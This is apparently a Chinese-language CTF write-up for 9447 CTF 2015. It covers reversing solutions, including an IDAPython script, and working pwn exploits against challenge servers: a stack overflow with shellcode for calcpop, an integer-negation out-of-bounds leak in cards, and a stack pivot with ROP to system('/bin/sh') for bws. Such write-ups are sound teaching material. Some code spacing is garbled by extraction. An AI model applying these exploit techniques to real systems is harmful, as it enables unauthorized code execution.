9447 ctf writeup

原创

ling13579 于 2015-12-01 14:36:02 发布 1531 收藏

9447 ctfwriteup

只做了一些低分值的逆向和pwn题目。

Challenge	Solved	Points
BWS (Exploitation)	#28, 1 day, 18 hours after release (2015-11-30 04:41:07)	190
Hello, Joe (Reverse engineering)	#48, 1 day, 17 hours after release (2015-11-30 03:36:07)	160
The *real* flag finder (Reverse engineering)	#217, 1 day, 12 hours after release (2015-11-29 22:59:11)	70
flag finder (Reverse engineering)	#410, 1 day, 12 hours after release (2015-11-29 22:53:28)	1
cards (Exploitation)	#29, 1 day, 6 hours after release (2015-11-29 16:59:23)	140
calcpop (Exploitation)	#146, 1 day, 4 hours after release (2015-11-29 14:20:12)	80

1. flag finder& the real flag finder

这两个题目一个1分，1个70分，没有看出难度有啥差别，都是明文比较，直接在比较的地方下断点，就看到flag了。

2.Hello joe

程序最开始mmap了0x6000的空间大小。之后调用了6次间接跳转。经调试发现，这六次间接跳转分别跳转到mmap空间的0, 0x1000, 0x2000, 0x3000,0x4000, 0x5000处进行校验，如果正确返回1，错误返回0. 只有当6个都满足时，才是flag。

dump下0x6000字节内存后，分析发现里面就是逐个字节进行比较。

在每一条路径上都其中的某些字节做了判断，需要是某3个字节中的某一个。

```
                                        ; seg0
rdtsc
test    eax, 0FFFFFh
jnz     short loc_10F0
movzx   rax, byte ptr [rdi]
inc     rdi
cmp     al, 61h ; 'a'
jz      loc_1095
cmp     al, 65h ; 'e'
jz      loc_1095
cmp     al, 66h ; 'f'
jz      loc_1095
xor     eax, eax
retn
```

后面就是写代码自动化获取flag了。这里采用idapython进行编写。中间求几个列表的交集时犯了个错误，浪费了很多时间。（在列表做迭代循环时，不能对列表进行删除操作）

```
from idc import *
from idaapi import *
from idautils import *


def get_result(start_ea):
    result_dict= {}
    ea =start_ea

    cur_index =0
    may_cs = []
    while ea< start_ea + 0x1000:
        disasm =GetDisasm(ea)
        #printdisasm
        if 'jmp'in disasm:
            ea =int(disasm.split('loc_')[1].strip(),16)
           cur_index +=1
           continue
        if 'cmp'in disasm:
            c =chr(int(disasm.split(',')[1].split('h')[0], 16))
            if c== '\x00':
               break
            may_cs.append(c)

        if 'jz'in disasm:
            ifmay_cs:
               next_ea = int(disasm.split('loc_')[1].strip(),16)
        if 'xor'in disasm:
            ea =next_ea
           result_dict[cur_index] = may_cs
           may_cs = []
           cur_index += 1

        ea =FindCode(ea, SEARCH_DOWN|SEARCH_NEXT)
    returnresult_dict

dict0 = get_result(0x1005)
dict1 = get_result(0x2005)
dict2 = get_result(0x3005)
dict3 = get_result(0x4005)
dict4 = get_result(0x5005)

print dict0
print dict1
print dict2
print dict3
print dict4

flag = '9447{'

for i in range(5, 37):
    temp_lists =[]
    ifdict0.has_key(i):
       temp lists.append(dict0[i])
```

```
    ifdict1.has_key(i):
       temp_lists.append(dict1[i])
    ifdict2.has_key(i):
        temp_lists.append(dict2[i])
    ifdict3.has_key(i):
       temp_lists.append(dict3[i])
    ifdict4.has_key(i):
       temp_lists.append(dict4[i])
    '''
    for c intemp_lists[0]:
        find =True
        fortemp_list in temp_lists:
            if cnot in temp_list:
               find = False
               break
        if find:
           print i
            flag+= c
    '''
    cs = None
    fortemp_list in temp_lists:
        if cs isNone:
            cs =set(temp_list)
        else:
            cs =cs&set(temp_list)
    print i, cs
    flag +=list(cs)[0]

flag += '}'

print flag
```

3. calcpop

送分pwn，栈溢出，还没开dep，还自带信息泄露。

```
from zio import *


target = ('calcpop-4gh07blg.9447.plumbing',9447)
#target = './calcpop'


def exp(target):
    io =zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),print_write=COLORED(RAW, 'green'))

   io.read_until('exe')
    payload ='123456'
   io.writeline(payload)
   io.read_until('was ')
    addr =int(io.readline().strip('\n'), 16)
    print'addr='+hex(addr)

    payload ='201526 1a'
    payload =payload.ljust(0x9c, 'a')

    payload +=l32(addr+0xa0)

    payload +='\x90'*0x10

    buf =  ""
    buf +="\xdd\xc1\xbe\xc7\x36\x96\x53\xd9\x74\x24\xf4\x5f\x29"
    buf +="\xc9\xb1\x0b\x31\x77\x1a\x03\x77\x1a\x83\xef\xfc\xe2"
    buf +="\x32\x5c\x9d\x0b\x25\xf3\xc7\xc3\x78\x97\x8e\xf3\xea"
    buf +="\x78\xe2\x93\xea\xee\x2b\x06\x83\x80\xba\x25\x01\xb5"
    buf +="\xb5\xa9\xa5\x45\xe9\xcb\xcc\x2b\xda\x78\x66\xb4\x73"
    buf +="\x2c\xff\x55\xb6\x52"

    payload +=buf
   io.write(payload)

   io.interact()


exp(target)
```

4. cards

程序给出了源代码，分析代码，是一个出牌比点数的游戏，不过对方采用田忌赛马的方式，每次出的牌都大一点，只有出最大点能赢一次。因此正常是无法赢得游戏，拿到flag。

漏洞:

漏洞出现在洗牌的地方，当val=-0x8000000000000000时，-val仍然是它本身，仍然为负数。val%size也为负数，所以deck[val%size]可以向下越界。

程序开启了PIE，所以需要一个信息泄露获取加载基地址。而通过调试发现站上，deck向下24自己出刚好有一个值与加载基地址有关，因此将它泄露出来。

之后，再次将返回地址修改为printFlag即可拿到flag。

```
from zio import *


#target = './cards'
target = ('cards-6xvx9tsi.9447.plumbing', 9447)


def exp(target):
    io =zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),print_write=COLORED(RAW, 'green'))
   io.read_until('stop')

   #io.gdb_hint()

    payload ='-9223372036854775808 '
    for i in range(4):
        payload+= '5 '
    payload +='0'
   io.writeline(payload)

   io.read_until('5 ')
    addr =int(io.read_until(' ').strip(' '), 10)
    printhex(addr)
    base = addr- 0x8ea

   io.writeline('0')
   io.writeline('1')
    io.writeline('2')
   io.writeline('3')
   io.writeline('4')

    flag_addr=0xd90+base

   io.read_until('stop')
    payload ='-9223372036854775808 '
    for i inrange(6):
        payload+= str(flag_addr) + ' '
    payload +='0'

   io.writeline(payload)


   io.interact()


exp(target)
```

5. bws

一个web服务器，通过分析，发现在路径解析的地方可以向低地址越界。

解析路径主要包括对父目录../和./的处理，对../处理时，会依次向低地址搜索/。

当发送 Get /../时发现程序会崩溃，分析发现程序一直向低地址搜索/,不过因为栈的低地址中并没有/,因此一直向下减，知道减到不可访问内存，触发异常。

然后尝试先进行依次正常的GET请求，使得栈上残留下/字符，然后就发现可以控制栈上返回地址了。

不过在路径解析过程中，不能出现\x00 \x0d字符，因此没法向返回地址处放置rop。

最后，使用了栈转移的方法，通过一个gadget，将整个栈转移到输入数据处，而在输入数据中是可以有0的，在里面构造一个rop即可。

找到满足条件的gadget为:

0x4012b3 add rap,0x1018;ret

```
from zio import *
target = ('bws-ad8sfsklw.9447.plumbing', 80)
target = './bws/bws'


def exp(target):
    io =zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),print_write=COLORED(RAW, 'green'))
    payload ='GET /..'

    payload +=''*9+'\r\n\r\n'
   io.gdb_hint()
   io.write(payload)

   io.read_until('HTTP')

    #io.interact()

    payload2 ='GET /../'
    payload2 +='a'*0x112
    payload2 +='\xb3\x12\x40' #add rsp,0x1018; ret
    payload2 +=' '*9 + '\r'
    payload2 +='b'*0x100
    payload2 +='c'*0xcc1

    pop_rdi_ret= 0x401323
    pop_rsi_ret= 0x401321 # pop rsi; pop r15; ret

    put_got =0x602020
    put_plt =0x400880
    rop =l64(pop_rdi_ret) + l64(put_got)
    rop +=l64(put_plt)
    read_buf =0x400ae0
    buff_addr =0x61bb00
    rop +=l64(pop_rdi_ret) + l64(buff_addr)
    rop +=l64(pop_rsi_ret) + l64(0x1000) + l64(0x1000)
    rop +=l64(read_buf)
    pop_rsp_ret= 0x400bf7
    rop +=l64(pop_rsp_ret) + l64(buff_addr)
    payload2 +=rop
    payload2 =payload2.ljust(4050, 'c')
    payload2+='\r\n\r\n'
    io.write(payload2)
   io.read_until('</html>\n')
    put_addr =l64(io.readline().strip('\n').ljust(8, '\x00'))
    printhex(put_addr)
    base =put_addr - 0x6fe30

    binsh_addr =base+0x17ccdb
    system_addr= base + 0x46640
    rop2 =l64(pop_rdi_ret) + l64(binsh_addr)
    rop2 +=l64(system_addr)
    rop2 +='\r\n\r\n'

   io.write(rop2)

   io.interact()
exp(target)
```